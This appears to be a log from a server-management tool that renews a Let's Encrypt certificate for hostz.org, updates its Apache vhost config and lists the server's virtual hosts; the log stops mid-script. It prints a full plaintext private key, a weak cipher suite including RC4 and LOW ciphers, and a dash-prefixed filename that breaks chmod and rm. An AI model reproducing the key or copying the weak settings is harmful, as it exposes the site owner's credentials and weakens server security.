L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-30 06:00:35: Establishing a connection
2025-11-30 06:00:35: Establishing a connection
2025-11-30 06:00:35: 

PUT: /tmp/pkp654840

#!/bin/bash
if [ -d "/var/www/hostz_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:00:35: 

chmod 755 /tmp/pkp654840; /tmp/pkp654840; rm /tmp/pkp654840

2025-11-30 06:00:35: 


1


2025-11-30 06:00:36: Establishing a connection
2025-11-30 06:00:36: 

PUT: /tmp/pkp261960

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
cat > J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4
cat > -PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s


2025-11-30 06:00:36: 

chmod 755 /tmp/pkp261960; /tmp/pkp261960; rm /tmp/pkp261960

2025-11-30 06:00:36: 


chmod: invalid option -- 'P'
Try 'chmod --help' for more information.




STDERR:
chmod: invalid option -- 'P'
Try 'chmod --help' for more information.


2025-11-30 06:00:42: Establishing a connection
2025-11-30 06:00:42: 

PUT: /tmp/pkp696834

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
rm J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4
rm -PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s


2025-11-30 06:00:42: 

chmod 755 /tmp/pkp696834; /tmp/pkp696834; rm /tmp/pkp696834

2025-11-30 06:00:42: 


rm: invalid option -- 'P'
Try 'rm ./-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s' to remove the file '-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s'.
Try 'rm --help' for more information.




STDERR:
rm: invalid option -- 'P'
Try 'rm ./-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s' to remove the file '-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s'.
Try 'rm --help' for more information.


2025-11-30 06:00:42: Establishing a connection
2025-11-30 06:00:42: 

PUT: /tmp/pkp383974

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d.crt

cat > $temp_file <<'endmsg'
d6:f9:75:c5:ec:14:95:86:da:f2:fb:8f:18:67:e9:9b

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBTWVP2s5pTGYbLgF/b5bhSpBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjExWhcNMjYwMjI4MDUwMjEwWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDHiwJp
U4M6ERZIF/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdF
fVyEZ/hbfqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/
9ymFa1Omw00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoq
c30xFdrUnkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr
0A2GG3quTS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9B
X3d7K1SgbHGJWLtJAgMBAAGjggInMIICIzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FE35NeG3ynnGGKpCbcJ6yoPlyq8iMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvNjYuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
ZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGa01lioAAABAMARjBE
AiBePv9nAIyQ366I7QT3NtP95VzkQUPJxb5MrldDCRgMnAIgNV697WbUdR3jL6my
MfsadnS9fFlzKJn8UftLk7dcgLMAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZrTWWKiAAAEAwBHMEUCIQDHQzeRvDIvsKGqX3jRbV36djwz9CRp
KE8ZHwfwgMEk5gIgVmhDVnHdrqmIkHWiBt0GNd5j29rcGMqx4ESSu0O+2XEwDQYJ
KoZIhvcNAQELBQADggEBADKv1/B1BMpX9yCNVNSBHMkoREGkEHW6iWsEuPcwXmJP
dNSKlA6db5e6UeOT2YodmRc3kuX59EllMIAwv0Bj+jTS0OYpRRlB0NCpPkhl9dvc
yfWD7qyuF0Ub2ext8jqWSVZ6xZCr6FRp/D1RutDYksVSXSkC+r0fnwfeHGRCj9CK
aixOojqq2Cxk5niwjGWCKUzadV8nNwx7t3DnODPm+7NHlBK2iQMXqPePA/mURgTq
Q4uPwxAHDMAtPPRYHCro0C0/bsvDY2Hplm0Fa7sSGXnyeeocc2b07pC+4qCTb/2b
ME75huv6FoV+qWisqI6b3MLydrR+LUfSki0c0QI87j4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHiwJpU4M6ERZI
F/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdFfVyEZ/hb
fqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/9ymFa1Om
w00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoqc30xFdrU
nkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr0A2GG3qu
TS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9BX3d7K1Sg
bHGJWLtJAgMBAAECggEABl0OhKFfK/jjhwUMmlgpxujN9COJFfEQGv+KJsGmXgKX
ksiaQCcDRYxH9N5CY/GlJEeim1q2GpreNrzBbPCMsRaAGWQqZ6FDZJ4Gqxwcaame
FlFSC7ZlWLBOKfmdbQVLj0XDLwiI0HJtxoGv8RxCVNGKh/zidhmLLS9TnDj7HVTE
KCCIxhShN/cLuoZjAxrF5wZlDLm64d3Yq2gIRiDEyzBamWTTO9WxfFzKleq2BPtJ
EZiHSM685Fvp6pZNU+xc1o5TgpOciwSyb+BQRDEqZycjuWhljQHUE+XZmDVprrcY
3WwfZsTaZgmNe7s8KxgBcrwiresTkWK/1PRCw6seoQKBgQD8XUEstj3Zs0im9khf
lY167ELx2QNUuUZMWd2HZ58HZg7pE1ikMYqzb6Ju4EHxhJrtK287w2ByxvDjxfTX
SlIm65mTsrCRUcDGDZBL3VUSAjUw6JScHkjOa/J527K5xl3MPxtM+Kp60r9c02do
4ZADA+8NB8W4bMcZJPSIX+pNTQKBgQDKavHOMoUaVL6r2Wz792iYafZnpR/anXKl
G9xy7ubZi/AqEsBeqQJhPiUsoGOVDc/4C8Hz6jGdUcuj0pZ95rIEoa27V2yD93LH
qnHnJcpDGx/8npAmbmRgKgrl+KlTAcYAG9dRBemfHHZ3+OYPLRMC+WnoOGfViZNd
FJEthNJX7QKBgBjkGcmPMAqI5GGTaRAEcC/vnaq8/NcebxCYzIDOd6EDL/VNMzD+
se+A00ScWeS4b490+UOrwZeQh7HvlHannfK4yi0HMuMibSEbtV/GNN3R2e05A29i
jUvO2durD7XDGv1KPCcbX7U9lCJTt59goBOsD6f5XEcUc47HVlcdHr8BAoGBAKGl
JdT0ozaT1nCGAXJ18SFF/XBnfTin45XW2gUuo0u3ZOM0dkshzLS7XBR3QQ8XKK19
NjYDH/vyBh2dXnDMef0Y4BRrjE0WnqK0iqF8nDlawACM37DRF3d0G5/rI80V7XjI
wvoBLr/RiwnjylT0Oep2Iw0/fiwY4YXDluwy1YdBAoGAA2po4LhrUglJH8KSGHLy
yblDJmLEZZabqepXHmn+p0IcZ+rGvGH0CrwghK2YRkqKxSASVeuprT0GjZyAozi9
TAhihfdS8a8h+silT7hufP9OigvFj3dqpfHN9TYgmSkh7WRxZyCmJpk8e61KjlNU
oZXAduQkJx9j+ERFkjWs6v4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:00:42: 

chmod 755 /tmp/pkp383974; /tmp/pkp383974; rm /tmp/pkp383974

2025-11-30 06:00:42: 


dir=/etc/ssl/certs


2025-11-30 06:00:42: 

PUT: /tmp/pkp527513

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:00:42: 

chmod 755 /tmp/pkp527513; /tmp/pkp527513; rm /tmp/pkp527513

2025-11-30 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 37

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-30 06:00:42: 

PUT: /tmp/pkp490925

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_www_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf= 1'
fi


2025-11-30 06:00:42: 

chmod 755 /tmp/pkp490925; /tmp/pkp490925; rm /tmp/pkp490925

2025-11-30 06:00:42: 




2025-11-30 06:00:42: 

PUT: /tmp/pkp848473

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:00:42: 

chmod 755 /tmp/pkp848473; /tmp/pkp848473; rm /tmp/pkp848473

2025-11-30 06:00:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:00:43: Establishing a connection
2025-11-30 06:00:43: 

PUT: /tmp/pkp769885

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:00:43: 

chmod 755 /tmp/pkp769885; /tmp/pkp769885; rm /tmp/pkp769885

2025-11-30 06:00:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:00:43: 

PUT: /tmp/pkp789408

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:00:43: 

chmod 755 /tmp/pkp789408; /tmp/pkp789408; rm /tmp/pkp789408

2025-11-30 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf	1202

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-30 06:00:43: 

PUT: /tmp/pkp275203

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
